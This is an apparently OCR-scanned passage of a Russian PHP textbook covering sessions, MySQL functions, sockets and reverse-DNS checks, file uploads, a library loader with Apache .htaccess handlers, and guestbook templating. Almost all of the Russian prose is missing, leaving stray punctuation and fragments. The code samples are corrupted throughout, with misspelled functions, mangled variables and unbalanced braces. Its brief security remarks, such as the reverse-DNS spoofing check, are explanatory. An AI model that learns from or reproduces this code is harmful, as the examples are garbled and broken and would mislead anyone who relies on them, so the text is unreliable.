, , .
25.
359
, , - <?=SID?>, PHP . ,
, , URL. , ,
,
:
<?session_start() ?>
<body>
< href=/path/to/something.php>Click here!</axbr>
<a href=/path/to/something.html?a=aaa&b=bbb>Click here!</axbr>
<a href=/>Click here!</a><br>
</body>
:
http://www.somehost.ru/path/to/something.php?PHPSESSID=8114S36a920bfb01f
http://www.somehost.ru/path/to/something.html?a=aaa&b=bbb&PHPSESSID=86a20
http://www.somehost.ru/?PHPSESSID=8114536a920bfb2a
( , .) : , .
,
URL , .
, session.use_trans_sid.
.
SID? .
, , , ,
, .
, , . ,
,
, , ! i
, Cookies.
360
IV.
,
, , ,
.
<?session_start()?>
<form action=aaa method=post>
</form>
, (Internet Explorer)
HTML:
<form action="aaa" method="post">
<INPUT TYPE=HIDDEN NAME="PHPSESSID" VALUE="Oa717e848e91dbllb524a">
</form>
, . <form> (, , ).
, , .
Cookies
?
, . , s e s s i o n . u s e _ c o o k i e s true
( ).
, Cookies? .
, , . LJRL ( ) , , , . , . ,
s e s s i o n . u s e _ t r a n s _ s i d .
, , , , , Cookies , .
.
26
MySQL
,
. , , ,
(). ,
MySQL. ""
(, Sybase, Oracle . .), MySQL . ,
MySQL, - MySQL. Windows, .
SQL MySQL. . , , MySQL. ,
MySQL.
, MySQL
. (, ) ,
. , , ,
- .
. . (, , , . ).
, ,
Excel, -
362
IV.
, , , , ,
. // ,
.
. ,
(, ) . ,
: " , , 10, ,
word, ". - ( ),
.
, . , Microsoft SQL Sewer 0,01 10 , .
,
" ", .
MySQL ,
, Web- ? , , "" .
, , , . ,
: , . , , . . , . ,
.
, . , /, ,
. , ,
. :
"", .
: . -
26. MySQL
363
, . , - , , . ,
, . , ()
.
, ,
. , . ,
- (, ). -
, .
MySQL
, Web, MySQL.
(, , 100 ) , SQL.
SQL .
, :
/ ;
;
/ ;
.
SQL .
, MySQL.
MySQL -, .
(, )
( ),
. , , .
? : ,
,
.
( , ). ,
IV.
364
, ,
10 .
-,
, MySQL-, .
,
( MySQL- ).
, MySQL : . MySQL
, .
, . ,
, . .
- -,
MySQL .
, , .
mysql_connect ( ) .
int mysql_connect([string $hostname]
[,string $username]
[,string $password])
26. MySQL
365
,
.
int mysql_select_db(string $dbname l,int $link_identifier])
MySQL, ,
. . , $link_identifier ( ,
) $dbname.
MySQL (,
),
.
int mysql_errno([int $link_identifier])
. $iink identifier , .
string mysql_error([int $link_identifier])
, ,
. .
,
. - mysqi_query , .
, , ?
, , .
, . .
int mysql_query(string $query [,int $link_identifier])
: MySQL- $query , .
$ q u e r y , SQL.
$ i i n k _ i d e n t i f i e r ,
.
366
IV.
SQL, ,
(, UPDATE, INSERT . .).
. ,
SELECT , , .
,
,
, .
int mysql(string $dbname, string $query [,int $link_identifier])
, mysql_query ,
, $dbname. , , ,
. , $ i i n k _ i d e n t i f i e r
, .
MySQL
, SQL
. ( ) "" . .
( ) V ,
.
mysqi_query ( ) ( mysql ( ) , . ). . , , . .,
. MySQL ,
, (
).
SQL . MySQL.
create table ( , , ...)
(), () .
26. MySQL
367
, MySQL. . , ,
.
, , .
( ) :
[UNSIGNED]
UNSIGNED ,
( 0). ,
?, . 26.1.
26.1. MySQL.
TINYINT
-128 +127
SMALLINT
MEDIUMINT
INT
BIGINT
, MySQL , MySQL .
:
[(length,decimals)] [UNSIGNED]
368
IV.
26.2. MySQL
FLOAT
DOUBLE
REAL
DOUBLE
DECIMAL
NUMERIC
DECIMAL
( r t r i m o ) .
BINARY, SELECT
. VARCHAR , 255
. ,
. 26.3.
26.3. MySQL
TINYTEXT
255
TEXT
MEDIUMTEXT
LONGTEXT
65 535
16 777 215
4 294 967 295
TEXT, ,
65 536 , LONGTEXT.
26. MySQL
(^
369
, TEXT- ,
VARCHAR-, .
, TEXT,
("abc" "ABC" ). 4 (. 26.4).
26.4. , MySQL
TINYBLOB
255
BLOB
65 535
MEDIUMBLOB
16 777 215
LONGBLOB
- ,
" ".
MySQL ,
(. 26.5).
26.5. MySQL
DATE
--
TIME
::
DATETIME
-- : :
TIMESTAMP
timestamp.
timestamp, ,
,
,
MySQL . , TIMESTAMP
370
IV.
, ,
.
MySQL , . ,
,
,
: vaiuel, vaiue2 . . :
ENUM(valuel,value2, values, . . . )
, , ,
(vaiuel, vaiue2 . ., . . ). :
SET ( vaiuel, value2, valueS, . . . )
, 64 . .
,
"" , (, , ) .
. 26.6.
26.6. MySQL
not null
primary
, , (
)
key
auto_increment
Default
, , . . ,
,
. ( .)
, ,
26. MySQL
377
drop table
. ,
, ""
.
insert into (! 2 ...) values('!','2',...)
, ,
, , , . ,
, "" ( , , MySQL, ). ,
not null, ( 0). , , -, . ( ,
) "" , , \, ' .
delete from where
, .
- ,
. :
(id<10) and (name regexp 'a*b') and (age=25)
, , ,
"" , : ( i d < i o + n * 2 3 4 ) .
, ,
. ,
select, update.
select * from where [order by [desc]]
. ,
, .
, , ,
13 .699
372
IV.
, SQL. ,
order by
, (
desc, ). order by .
*. , ,
. , , .
*.
update set(1='!', 1='2', ...) where
, ,
.
, - ,
.
,
MySQL
, . , . :
select count(if(,1,NULL)) from
, MySQL
, ...
,
. ,
,
, Country (), , , , 30 , , :
select distinct from where
26. MySQL
373
=1:, - >=30.
, ,
.
, , , .
, .
,
mysqi num_rows ( ) . , , 10 30 , "" 10
"". , .
, ,
, select .. . from ( , ). , : -- .
.
" " .
"".
int mysql_num_rows(int $result)
mysqi_num_rows ( ) .
,
" ".
int mysql_num_fields(int $result)
, . .,
$resuit. , " ".
IV.
374
int mysql_result (int $result, int $row, mixed $field)
$ field
$row. $ field , , "" .
, , ,
.
,
$ field -,
$row Y-. - . . , .
: ""
. , , , , . . m y s q i _ r e s u i t ( ) . , .
MySQL , , . - : , .
.
array mysql_f etch_row ( int $result)
-
$resuit. ( ), false.
,
mysqi_f etch_row ( ) .
:
$r=mysql_query ("select * frim OurTable where age<30");
while ($Row=mysql_fetch__row ($r) ) (
// $Row
}
, , , . .
m y s q l _ f e t c h _ r o w ( ) f a l s e .
26. MySQL
375
, , , - . .
mysql__fetch__array ( )
.
array mvsql fetch arrayfint Sresult)
mysqi_fetch_array ( )
, .
, . ,
. "" .
: .
: , (, ) , , , . ,
SELECT ( SQL ). , .
mysqi_fetch_row()
mysqi_fetch_array , ,
, .
int mysql_data_seek(int $result, int $rowjnumber)
$resuit
$row_number. m y s q l _ f e t c h _ r o w ( )
m y s q i _ f e t c h _ a r r a y ( ) . f a l s e .
,
.
string mysql_field_name(int $result, int $field_index)
m y s q l _ f i e i d _ n a m e ( ) ,
$fieid_index. -,
, m y s q l _ f e t c h _ a r r a y ( } .
IV.
376
, mysql_field_name "" - .
string mysql_field_type(int. $result,
int $field_offset)
mysqi_fieid_nameo, ,
. , , i n t ,
double . .
int mysql_field_len(int $result,
int $field_offset)
Sresuit. , ,
.
, , . , varchar (
) varchar ( ) , 100.
. - SQL.
string mysql_field_flags(int $result,
int $field_offset)
,
.
, ,
explode ( ) :
$Flags=explode("
",mysql_field_flags($r,$field_offset));
, MySQL ,
. 26.7.
26.7.
not_null
Primary
key
. .
,
Unique_key
Multiple_key
26. MySQL
377
26.7 ()
Unsigned
zerof ill
binary
, . .
auto_increment
timestamp
. MySQLnpn
,
int $field_offset)
,
$fieid_offset $resuit. ,
, .
MySQL
.
<?
//
mysql_ccnnect("localhost");
//
mysql_select_db("my_database") ;
//
$result = mysql_query{"SELECT * FROM tbl");
//
Sfields = mysql_num_fields($result};
//
$rows
= mysql_num_rows($result};
// (, , ...)
$table = mysql_field_table($result,0);
echo " '$table' $fields $rows <>";
echo " :<>";
378
IV.
/ / ""
for ($i=0; $i<$fields; $i++) {
MySQL
.
. , ,
. ? .
? , ...
, .
(), , , id. id ,
, id ,
. , , , ( , ),
parent_id, id . , .
.
, id . : id ? , , id
""...
. -
? , , id, . , ,
, , ,
id?
MySQL AUTO_INCREMENT. ,
- ( id) :
int auto_ increment primary key
379
26. MySQL
, ! INSERT ,
MySQL .
1 ,
, .
,
, , "" .
m y s q l _ i n s e r t _ i d ( ) .
insert. insert, , :
mysql_query("insert into (!, 2) values('','')");
$id=mysql_insert_id();
, $id:
$r=mysql_query("select * from where id=$id");
$Row=mysql_fetch_array($r);
MySQL
. ,
. MySQL V
.
, , .
int mysql list_fields(string $dbname, string $tblname [,int Slink])
mysql_field_len() ,
mysql_field_name()
380
IV.
mysqi_fieid_type . -1,
.
int mysql_list_tables(string $database [,int $link_identifier])
( ),
, . mysqi_resuit
, 0.
27
,
.
.
, f open ( ) ,
. f open , HTTP. HTTP,
"" , , . "" f sockopen ( ) .
int fsockopen(string $host, int $port [,int &$errno] [,string &$errstr])
f open { } , $host ,
$port. ,
: f read , f w r i t e o , f gets , f e o f o . .
, , false , $ermo $errstr,
( ) . false, $errno 0, ,
. , , Windows TCP/IP.
f sockopen ( ) Unix,
,
. $port 0
$host .
, . . Unix.
() ,
.
, socket_set_biocking() (. ).
27.1 "" , 80
HTTP- GET -
382
IV.
. Htmispeciaichars , HTML .
| 27.1. ""
// Web- www.php.net
$fp = fsockopen("localhost", 80);
//
fputs($fp,"GET / HTTP/1.0\n\n") ;
//
echo "<pre>";
while ( ifeof ($fp) )
echo HtmlSpecialChars (fgets ($fp, 1000) ) ;
echo "</pre>";
//
fclose ($fp) ;
, 80- .
: fsockopeno .
telnet-, FTP , .
int socket_set_blocking(int $sd,
int $mode)
, fsockopeno. ($mode=true) "",
. , , -
"" ,
. ($mode=faise) fgets ( ) ,
. , ,
. , ,
feof ( ) , 27.1.
DNS
DNS- IP-.
27.
383
IP-
string gethostbyaddr(string $ip_address)
, IP-.
$ip_address.
, . $ip__address
. , , , . , /. .
string gethostbyname(string $hostnarae)
IP. , $hostname.
array gethostbynamel(string $hostname)
, ,
IP- $hostname. ,
IP-, DNS- , IP-
. , .
, , ,
IP-. ,
IP- $ip :
$host=gethostbyaddr($ip);
echo gethostbyname($host);
DNS- $host, , , :
$ip=get.hostbyname !$host) ;
echo gethostbyaddr($ip);
IP-
gethostbyaddr ( ) ,
, . , -
384
__
IV.
IP-
. , , ( ) !
. , 195.84 . 1 2 . 3 4 . ,
,
DNS- , : " whitehouse.gov",
195. 8 4 . 12. 34. , :
echo gethostbyaddr{"195.84.12.34") ;
whiiehouse.gov. !
? . , IP- , "" whitehouse.gov.
IP-, , , :
$ip="195. 84. 12.34";
$host=gethostbyaddr ($ip) ;
// , $host==$ip
if ($host==$ip) die (" ip- $ip!");
$check_ip=gethostbyname($host) ;
// , $check_ip==$host
if ($check_ip==$host) die {" Shost!");
// ,
it ($ip==$check_ip)
echo " $ip $host";
else
echo " $ip ! ! !";
? . , , . IP-. ,
. gethostbynamei IP. :
! 27.2.
'
// gethostbyaddr ( ) , ,
// $ip
// . false.
function safe_gethostbyaddr ($ip)
27.
385
{ //
$host=gethostbyaddr ($ip) ;
// ? , .
if ($host==$ip) return $host;
// $host, .
$check ips=gethostbynamel ($host) ;
// , , ?
foreach ($check_ips as $check_ip) (
// , $host .
if ($ip==$check_ip) return $host;
}
// , ,
return false;
// , . . .
echo safe_gethostbyaddr ("195.84.12.34") ;
. :
safe_gethostbyaddr ,
gethostbyaddr ( } ,
. ,
- , safe_gethostbyaddr .
'. .'*-".::.-: .
;;
.,,".:....
V.
28
, , .
HTML HTTP .
,
"" ,
"" ( ).
, , , ,
- . , , , , , ... ,
.1
, , 3. , , , - 1
, , . , , ,
. , "" "" , ,
, (, , "
, ( , )"). ,
.
. . . .- "!"
-.
, , , ,
" " ( ""
. . ). .
V.
390
. , multipart .
: .
.
Multipart-
, , GET POST, :
1=1&2=2&...
, "" ( ) URL-: %,
. .
, multipait- .
<form> :
enctype=multipart/form-data
, , ( ). "-" HTTP:
_\
Content-Disposition: form-data; ="" [; ]\
\
_ ,
( ). , , , , .
, , Browse
. <input>:
<input type=file =_ [size=pa3Mep_non]>
, :
;
28.
39?
;
.
, .
, ,
<input type=fiie> value. To , ,
. : ,
, , .
, HTML . , DHTML
(Dynamic HTML HTML) JavaScript.
, . , JavaScript,
, -
, .
DHTML .
, , , , JavaScript,
,
. ,
"": , ,
.
, <input type=fiie>
? ,
"" c : \ p a s s w o r d s . t x t . ""
JavaScript ,
"" .
, vaiue=C: \passwords .txt.
: , , JavaScript, ""
,
.
, <input type=fiie> value?..
392
V.
Web-, ,
, "" , multipart. , .
, ,
. ""
.
, .
multipart-, :
<form action="script.php" method=POST enctype=multipart/form-data>
<input type=file name="MyFile">
<input type=submit>
</form>
(
, ) ,
, . , .
$MyFile ,
, . : , , , ...
$MyFiie_name ,
.
$MyFiie_size .
$MyFiie_type , . , i m a g e / g i f , text/html . .
, MyFiie_. , _.
, ,
, Copy ($MyFile, "uploaded.dat")
, , ,
$MyFiie_size.
, /. ,
28.
393
, , ,
. , :
.
, , $MyFiie,
.
:
,
.
| 28.1. photo. php:
$ImgDir="img";
//
//
$d=opendir ($ImgDir) ;
//
$Photos=array () ;
//
//
while ( ($e=readdir ($d) ) !==false) {
// GIF, JPG PNG?
if ( !ereg("A (.*) \\. (gif I jpglpng) $", $e, $P) ) continue;
// , ,
//
$path="$ImgDir/$e";
//
$sz=Get!mageSize ($path) ; //
394
V.
$tm=filemtime(?path);
//
// $Photos
$Photos[$tm] = array(
'time1 => filemtime($path), //
'name' <=> $e,
//
'url' => $path,
// URI
r
w'
=> $sz[0],
//
'h'
=> $sz[l],
//
'wh'
=> $sz[3]
// "width=xxx height=yyy"
/ / I01JU4U.; - vi'iiuLoa - ,
// . : ""
// .
krsort ($Photos) ;
// . .
<body>
<form action=photo.php method=POST enctype=multipart/form-data>
<input type=file name=File><br>
<input type=submit name=doUpload value="3aKa4aTb ">
</form>
<?foreach($Photos as $n=>$Img) {?>
<img
src=<?=$Img[ 'url' ] ?>
<?=$Img[ 'wh' ] ?>
]^=" <?=date ("d.ra.Y H: i: s", $Img [ 'time '])?>"
</body>
, (,
),
, -, .
( ) .
, ,
( , , ,
).
28.
395
, . , , , . , . . ,
, ?>,
. ,
. , , . .
, , , , ,
: [ ] , [1] [text] . . ( ) "" ,
. , 4 .
, .
<form action="script.php" method=POST enctype=multipart/form-data>
<> :</>
: <input type=file name="File[text]"><br>
: <input type=file name="File[bin]"><br>
: <input type=file name="File[pic]"><br>
<input type=submit name=Go value="OTnpaBHTb ">
</form>
s c r i p t . p h p , :
$Fiie, text, bin pic, , ;
$Fiie_name
;
$Fiie_type ;
$Fiie_size .
, .
, ,
Dump($GLOBALS), /7,
.
V.
396
, 3
. , .
, .
. , . . , , ,
.
, :
<form action="script.php" method=POST enctype=multipart/form-data>
<input type=file name="File [a] [b] ">
<input type=submit>
</form>
"" ,
$Fiie, . ,
4.0. -
( ) .) , .
,
"" . , , ,
$HTTP_POST_FILES.
, , .
(
$HTTP_POST_FILES , ,
track_vars. , , 4 (
), .
$HTTP_POST_FILES , ,
. . ,
Dump ( ) , , , , .
29
.
""
. , ,
. ,
(
) ,
.
, , . ., .
: , , ,
.
, : ,
- .
: ,
,
.
.
, : " ?
include?" , , include,
- .
, -
,
, . - , (, . . / . ./php/somef ile.php)
( ,
,
).
398
V.
, , , - , , .
, include require
( , ,
" " ,
). , , , - ,
: . ,
inciude__once include,
, , 4.
.
, , , .
. , ,
include.
, .
, , , Perl.
, "",
. uses ( ) .
(, phi), , , ,
( ) .
, uses ( ) (
) , ,
. , ,
, , .
29. . ""
399
, uses ( ) .
. , , , ,
. : uses (} , , " ", , , ,
, inciude_once . , ,
, "" . , Perl, .
, .
,
. , "" . , , .
, , ,
.
,
. $SCRIPT_NAME ( ), , , Windows-
, .
,
, . ,
, , , getcwd ( ) .
:
! 29.1. : librarian.phi
<?if(!defined("LIBRARIAN_LOADED")) {
define("LIBRARIAN_LOADED", I);
//
define("LibExt","phi");
// . ,
// , ,
400
V.
// Uses
// .
S INC []=".",
$ INCH =". /lib";
// "" $dir $fname,
// (, $dir
// $fname) .
function glue_path ($dir, $fname)
{ $dir=strtr(trim($dir) ,"\\","/") ;
$name=strtr (trim(Sfname) , "\\", "/") ;
if (@$fname[0] =='//') return $f name;
if (@$dir[strlen($dir)-l] =='/') return $dir.$fname;
return "$dir/$fname";
I / .
// ( ,
// ) , ,
// (
// $cur) .
/ / .
// realpath ( )
// , , ,
// .
function GetAbsPath ($name, $cur="") { return abs_path ($name, $cur) ; }
function abs_path($name, $cur="")
{
//
$name=strtr (trim($name) , "\\", "/") ;
// "/"
$Parts=explode ("/" , $name) ;
$Path=($cur===""?getcwd() :$cur) ; //
foreach($Parts as $i=>$s) if($s!=".") {
// ?
if(!$i && (strlen($s)>l&&$s[l]==":"| l$s=="")) $Path=$s;
// ?
else if ($s==". .") {
// , ?..
if (strlen($Path)>l && $Path [1]==" : " &&
strlen($Path)<=3 || $Path=="/" || $Path=="\\") continue;
// dirname()
29.
""
$p=dirname ($Path) ;
if ($p=="/"l l$p=="\\"l |$p==".") $Path=""; else $Path=$p;
}
//
else if($s!=="") $Path=glue_path ($Path, $s) ;
}
return ($Path!==""?$Path: "/") ;
// URL ,
// , ,
// DOCUMENT_ROOT,
// - dirname ($SCRIPT_NAME) .
// , (,
// URL, Alias- Apache,
// .
function Url2Path ($name)
{
// $INC ,
// ,
// .
function AbsolutizelNCO
{
global $INC;
static $PrevINC="";
// $INC
// - $INC. ,
// ,
// .
// .
if ($PrevINC!==$INC) {
401
402
V.
II .
// $INC.
function Uses ($libname)
{
global $INC;
static $PrevINC="";
// $INC
static $LastFound=0; //
// $INC -
// - ?. .
AbsolutizelNCO ;
// , ,
// - .
// , . // , . . .
$l=$LastFound;
do {
/ / ?. .
$dir=$INC[$LastFound] ;
if (@is_file($file="$dir/$libname.".LibExt) ) {
// ,
$cwd=getcwd() ;
chdir (dirname ($file) ) ;
// .
foreach($GLOBALS as $k=>$v) global $$k;
// .
$ret=include__once ($file) ;
// ,
// (?) $INC
AbsolutizelNCO ;
//
chdir ($cwd) ;
return $ret;
}
$LastFound=($LastFound+l) %count ($INC) ;
} while ($LastFound!=$l) ;
// - ""...
die ("Couldn't find library \"$libname\" at ".join(", ", $INC) ."!");
// ,
// , Apache.
@putenv ( "SCRIPT_NAME=" .
$GLOBALS [ "HTTP_ENV__VARS" ] [ "SCRIPT_NAME" ] =
$GLOBALS [ "SCRIPT NAME" ] =
29. . ""
403
ereg_Replace("\\?.*","",getenv("QUERY_STRING"))
);
@putenv("SCRIPT_FILENAME".
$GLOBALS["HTTP__ENV_VARS"]["SCRIPT_FILENAME"]=
$GLOBALS["SCRIPT_FILENAME"]=
Url2Path(getenv("SCRIPT_NAME"))
//
Error_reporting( 1+2+4+8) ;
// !
// !
// , ,
// ,
// Cookies.
, if. , () include .
(
, , ,
. ,
, .
, .
, : " ". ? ? , , . inciude_once
uses , . ,
, .
""
global .
. "" -
, , $GLOBALS.
.
14 . 699
404
V.
, .
, /lib Web- ( ,
, "" ).
include. , . , .
f i l e s . phi,
( - , ), .
I 29.2.
<?
include "$DOCUMENT_ROOT/lib/librarian.phl"; //
Uses ("files") ; // files. phi
//
$Content=ReadAllFile ("myfile.txt") ;
// myfile.txt
$Hash=ReadKeyValFile ("keyval.txt") ;
// key=value
// ... , , ,
, . , f i l e s . phi.
I 29.3. files. phi
// ! .
// ,
// OtherModules/dk
$INC [ ] ="OtherModules/dk" ;
29. . ""
405
II - , files. phi
Uses ("SomeOtherModule") ;
Uses ("AndOtherModuleToo") ;
// :
define ( "CRLF" , getenv ( "COMSPEC" } ?"\r\n" : "\n" ) ;
// $fname
function ReadAllFile i$fname)
(
// $fname,
//
1=!
//
function ReadKeyValFile ($fname)
(
}
return $Hash;
29.2 , . ,
:
include "$DOCUMENT_ROOT/lib/librarian.phl"; //
, , .
V.
406
, lib , , . . / l i b r a r i e s , .
- . , ,
, . ,
, .
(
: , -
, ,
.
:
auto_prepend_ file
2,
php.ini, , . ,
Apache (
-),
.htaccess, . ,
. , .
, - NAME
.htaccess php_NAME,
=, php. ini, . Apache .
. auto_prepend_file auto_append_flie.
, , . , ,
?
, auto_prepend_fiie php.ini
. -
Apache , . ,
. .htaccess
29.
""
407
. , ,
.
, , :
| 29.4.
echo $DOCUMENT_ROOT;
, , -
/home/dk/www.
.htaccess
:
php_value auto_prepend_f ile
/ h o m e / d k / w w w / l i b / l i b r a r i a n . phi
, .htaccess, ,
. , .
,
Windows,
. p h p . i n i . ,
.
: Apache
, auto_prepend_f ile auto_append_f ile.
, ,
. Apache.
, , , (
) .
Apache
, Apache? . -,
: . ,
408
V.
(, , ), .
, .
- .
, , ,
. ,
AddHandier, .
, ? Apache Action. ?
Apache. ,
.htaccess, ,
.
, .
. , , . htaccess .
# .
I "?" , URL
# GET, . . QUERY_STRING.
Action libhandler "/lib/libhandler.php?"
# ,
t "" .
AddHandier libhandler .html .htm
.
URL
.
, URL. ,
" " . ,
: Apache , "" libhandler, . . , , . ,
.
URL Action ?. ?
, Apache , . URL, , Apache "",
29. . ""
409
Action, URL
, ,
. ,
/ d i r / f i i e . h t m i , Action
/lib/libhandler.php?/dir/flie.html. -'
, PHP- ,
, , QUERY_STRING.
, html htm
,
/ ; / ] i b h s n d i e - r .php. ,
Apache
,
, .
.
, $GLOBALS phpinf ( ) ,
l i b h a n d l e r . p h p .
, , , ,
"" , php? ,
, . , /a.php. Apache "", php, /lib/libhandler.php. , ""
libhandler.php.
/lib/libhandler .php?a.php! ,
php. ,
, URL , "":
- , ,
. , , .
, . . . ,
. . , ? ,
( 29.5).
, libhandler.php , .
,
Action .htaccess,
URL. ,
.
410
V.
\ 29.5. /lib/libhandler.php ;
// , .
// , , .
$INC[]=getcwd();
// , ,
// Apache ,
// /lib/libhandler.php. , ,
// REQUESTMJRI,
I/ "pl;-nL ",
// ( ).
// ?,
//' .
// , ,
// .
$FileName=strtr(
FILE
,"\\","/");
$ReqName=ereg_Replace("\\?.*","",strtr(getenv("REQUESTJJRI"),"\\","/"));
if(eregi(quotemeta($ReqName),$FileName)) {
//
include "libhandler.err";
//
$f=fopen("libhandler.log","a+");
fputs($f,date("d.m.Y H:i.s")." $REMOTE_ADDR - Access deniedXn");
fclose($f);
//
exit;
//
// .
Sputenv("REQUEST_URI=".
$GLOBALS["HTTP_ENV_VARS"]["REQUESTJJRI"]=
SGLOBALS["REQUESTJJRI"]=
getenv("QUERY_STRING"}
};
Sputenv("QUERY_STRING=".
$GLOBALS["HTTP_ENV_VARS"] ["QUERY_STRING"] =
$GLOBALS["QUERY STRING"]=
29. . ""
411
ereg_Replace("[?]*\\?","",getenv("QUERY_STRING"))
);
parse_str($QUERY_STRING);
//
include "librarian.phi";
// - ...
// . . .
// ,
chdir(dirname($SCRIPT_FILENAME));
include $SCRIPT_FILENAME;
?>
, ,
? l i b h a n d i e r . e r r
"" . , - :
<head><title>flocTyn !</title></head>
<body>
<2> !</h2>
Apache,
.
,
.
.
</body>
,
html htm .
, , Uses ( ) .
, ,
html, . , .
, html, (,
).
! , ,
4 12
V.
"" .
, :
/forum/Computers-Ol-04-Ol.html
computers-oi-04-oi.html ,
,
"" 1 2001 . ,
, .
Apache
mod_rewrite. , -
.
Action/AddHandler , Apache.
, 29.5
. , ? , include,
, ,
. , -
, -- , .
, . ,
, ,
, AddHandier
.htaccess? He . , ,
- .
-: Apache , , php.
"? ,
Apache . "" . , , text/html, HTML-,
image/gif, , GIF,
. . ( !) , , .
,
. appiication/x-httpd-php. . "", , appiication/x-httpd-php,
29.
""
413
,
"" (
text /html) .
, ? , .
. . , , .htaccess
:
Ada'i'ype ! 2 ...
[^
,
? , GIF, JPG PNG
. , AddType . Apache mod_mime_magic (, , -).
, AddType , , . , GIF-
G, I F. 100% .
, php4 . .htaccess, , :
AddType application/x-httpd-php php4
php4 ,
php. , ( php)
nttpd.conf -.
, 29.5
html htm, php? , (. ). .
, ,
,
29.5. , , php4. .htaccess:
PHF
414
V.
, ,
libhandler.php libhandler.php4.
php , .
30
, , ,
HTML-,
. .
: , HTML, . , HTML-
, "" ,
.
, :
, .
.
, ( ) . ,
,
.
, " ", ? . ,
, "" ( ), Web-
.
, . , , .
, , ,
. : , ? , . , ,
. - .
416
V.
.
? Web-?
.
, , , , . ( "") ,
.
( ""), ,
. ,
,
. , , "" . , Web-, Web,
. , -
(, ), , ,
. , , "" .
, .
,
. ,
, .
Web-
? . -, Web-. -,
. ,
,
Web- .
,
? , , . :
HTML-,
- .
30.
417
, ( ?) - .
,
. , : HTML . ,
, "" , "
", .
, .
, , . :
( ). . 28,
. .
.
( 30.1). .
30.1. : gbook.htm
<htmlxheadxtitle>rocTeBaH Kiaira</title></head>
<body>
<2> :</h2>
<form action=gbook.php method=post>
: <input type=text name="New[name]"><br>
:<br>
<textarea name="New[text]" wrap=virtual cols=60 rows=5x/textarea><br>
<input type=submit name="doAdd" 1="!">
</form>
<2> :</h2>
<?foreach($Book as $id=>$Entry) {?>
: <?=$Entry['name']?><br>
418
V.
, PHP-, foreach. , , , .
, ,
. , : "" foreach (, , ), :
<foreach src=Book>
: $name<br>
:<br>$text<hr>
</foreach>
, .
"" HTML-.
: .
. , . , - ,
: , .
:
foreach ,
, . ,
?..
, "" ( , ).
, "" . , "" . .
30.
419
, . , , ,
foreach
$Book, .
,
( , ).
, - . , ,
gbook.php.
, , . ( 30.2).
; 30.2. : gbook.php
II .
function SaveBook ($fname, $Book)
{ $f =f open (GBook, "wb" };
fwrite ($f , Serialize ($Book) ) ;
fclose ($f) ;
// .
// .
$Book=LoadBook(GBook};
// , .
// ...
if(!empty($doAdd)} {
//
// $New, . . ,
// , .
420
V.
// . $Book :
// array (
//
_ => array (
//
//
text => _
// .
include "gbook.htm";
, , , .
PHP-, include. ,
( ) , , , $Book.
3 .
, - GBook,
. , " "
, ,
. , ,
. , .
, :
, . , , (,
, ).
, .
^)
: , , ,
2 : LoadBook() saveBook(). ,
30.
421
, , . , :
, .
. , .
- . , ,
( ) . , " ":
, . , ? ,
, $doAdd. , submit- ? , "doAdd=flo6aBMib!", . ,
, $Book
.
, . ,
, , N e w f n a m e ] N e w [ t e x t ] , . ,
" ", .
, (, ,
).
, gbook.php
.
HTML. ,
" ", . . ,
, . . .
, gbook.htm
, .
"" $Book, " ".
( , ). , .
422
V.
, ,
.
.
.
1. " "? <,
. ? ,
. , . ?
" "
. ? ,
, . , !
. , ,
. ,
. , . , "": , .
2. ,
action <form>. , ""
"".
3. , . ,
, ( ,
LoadBookO saveBooko). , .
, . , ( ) . ,
( GBook),
.
4. HTML-. ,
,
"" (, , , , . .). ,
30.
423
(,
, , ).
, include, .
,
"" . ,
, (, , ) HTML- .
, . , ( Web-
), , ,
, .
, , , , " ".
? , -, , ( , , ,
) . - ,
.
,
" " .
, , .
( , )
.
,
, . ,
, include:
30.3. : gbook.html
<?include "gbook.php"?>
<htmlxhead><title>rocTeBaH KHMra</title></head>
<body>
424
V.
<2> :</2>
<form action=gbook.html method=post>
: <input type=text name="New[name]"><br>
, . . 30.1. , include
, . ,
, , ""
, . , include - , ,
.
(
, ,
, . , .
, HTML HTML-. ,
. , , HTML
. 29.
.htaccess, ( "") :
AddHandler application/x-httpd-php .html
AddHandler, AddType, ,
HTML . ,
, SSI (Server-Side Includes )
3. AddType " ".
include . - "
". , . ,
. , . , "" ( , ).
,
"" - - . (
30.
425
). , "
", "".
, .
, ,
. (. 30.1 30.2) ,
" ". , . ,
, , .
. 30.1.
,
(. . 30.1). .
, . 30.2 , . 30.1. "" , , , . , , .
, . ,
, .
,
, . , -
V.
426
,
. , ,
, , - .
, . , .
~
k
ti
....
. 30.2.
30.4,
, 30.2. ,
, , .
: "" , "".
! 30.4. : gbook.php
include "kernel.php"; // .
$Book=LoadBook(GBook); // .
// , .
if(!empty($doAdd)) {
// .
30.
427
$Book=array(time()=>$New)+$Book;
// .
SaveBook(GBook, $Book) ;
// , ,
// .
, ,
: "" .
kernel. php ( ).
""
.
, , ,
. , , , ""
.
,
.
- . - 31,
"" ,
( 30.5).
i 30.5. : kernel. php
// .
include "config.php" ;
// . .
function LoadBook ( $ f name )
( $f=@f open (GBook, "rb") ;
if(!$f) return arrayO;
$Book=Unserialize(f read ($f, 100000) ) ;
fclose (Sf ) ;
return $Book;
}
I / .
428
V.
, ,
include ( ).
GBook, , . " " ( 30.6).
; 30. 6. : config.php
<?
? ""
5 ( .htaccess, 6). ,
, . , (
) "". : "
". , ,
"" ,
(,
), . , .
, . :
. , ,
.
, ,
. ,
;
30.
429
.
? ?
.
"" ,
, . ,
, . .
. , "" , ,
, . .
$ . :
, , . , , , , , .
, . ,
( ).
(, ), ( value ,
). , , ,
, , , Perl. , , ,
.
" " -- , , . , ,
(, ),
,
.
430
V.
,
. , , .
, , . ,
( , ) ,
.
include, , .
, , . "" .
^
"" "" .
: ( )
" " .
Web-.
: , .
. ( , , , , Mason, Parser .) :
, . ,
HTML, . , , , , .
, , ,
.
, ,
. , , , Web-
.
30.
431
, , , , . , 3 : (header), (text)
(footer). . (text) :
, .
( 30.7):
; 30.7.
<?include "Interface.php"?>
<?include "$DOCUMENT_ROOT/templ/header.htm"?>
,
, ,
Interface.php
<?include "$DOCUMENT_ROOT/templ/footer.htm"?>
, header.htm footer.htm
/tempi ,
.
, .
.
. , ,
. .
:
, .
, .
, , -
,
, .
432
V.
""
: header.htm
footer.htm, , . , HTML (
<body>, <tabie> . .) , . footer
header , ,
, . 30.8
.
I 30.8. header.htm
<html>
<body bgcolor=white>
<1> .</hl>
<tablextr>
<td width=20%>KapTa : . . .</td>
<td>
, . 30.9:
I 30.9. footer.htm
</td>
</trx/table>
</body>
</html>
. ,
header.htm ,
footer.htm. ,
: .
,
.
.
"", header.htm footer.htm.
, "" . , -
30.
433
( ).
, header- footer-, ,
, headeri.htm footeri.htm. -
, :
. , , - (,
